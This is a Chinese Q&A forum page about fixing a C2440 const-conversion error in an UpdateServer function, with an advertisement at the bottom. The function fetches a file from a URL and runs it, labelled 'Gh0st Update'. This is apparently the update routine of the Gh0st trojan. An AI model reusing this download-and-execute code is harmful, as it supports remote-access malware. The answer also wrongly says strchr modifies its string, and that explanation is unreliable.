error C2440: “=”: 无法从“const char *”转换为“char *”
boolUpdateServer(LPCTSTRlpURL){char*lpFileName=NULL;lpFileName=strrchr(lpURL,'/')+1;i...
bool UpdateServer(LPCTSTR lpURL) { char *lpFileName = NULL; lpFileName = strrchr(lpURL, '/') + 1; if (lpFileName == NULL) return false; if (!http_get(lpURL, lpFileName)) return false; STARTUPINFO si = {0}; PROCESS_INFORMATION pi; si.cb = sizeof si; si.lpDesktop = "WinSta0\\Default"; return CreateProcess(lpFileName, "Gh0st Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi); }
lpFileName = strrchr(lpURL, '/') + 1; 展开
lpFileName = strrchr(lpURL, '/') + 1; 展开
1个回答
展开全部
哪一条语句报的错?通常解决的办法两个,一个是在函数调用的时候把参数进行强制转换,另外一个是把那个变量的类型就不要申明为LPCTSTR(就是const char *),而是声明为LPTSTR(就是char*)
追问
ok 成功了~~~~
追答
strchr要修改字符串,而你的lpURL是LPCTSTR类型的,所以就不行了
你看看你的lpURL,如果可以被修改,那么你就把bool UpdateServer(LPCTSTR lpURL) 定义为bool UpdateServer(LPTSTR lpURL)就好;如果lpURL不能被修改,那么就改成是
const char *lpFileName = strrchr(lpURL, '/') + 1;
大雅新科技有限公司
2024-11-19 广告
2024-11-19 广告
这方面更多更全面的信息其实可以找下大雅新。深圳市大雅新科技有限公司从事KVM延长器,DVI延长器,USB延长器,键盘鼠标延长器,双绞线视频传输器,VGA视频双绞线传输器,VGA延长器,VGA视频延长器,DVI KVM 切换器等,优质供应商,...
点击进入详情页
本回答由大雅新科技有限公司提供
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询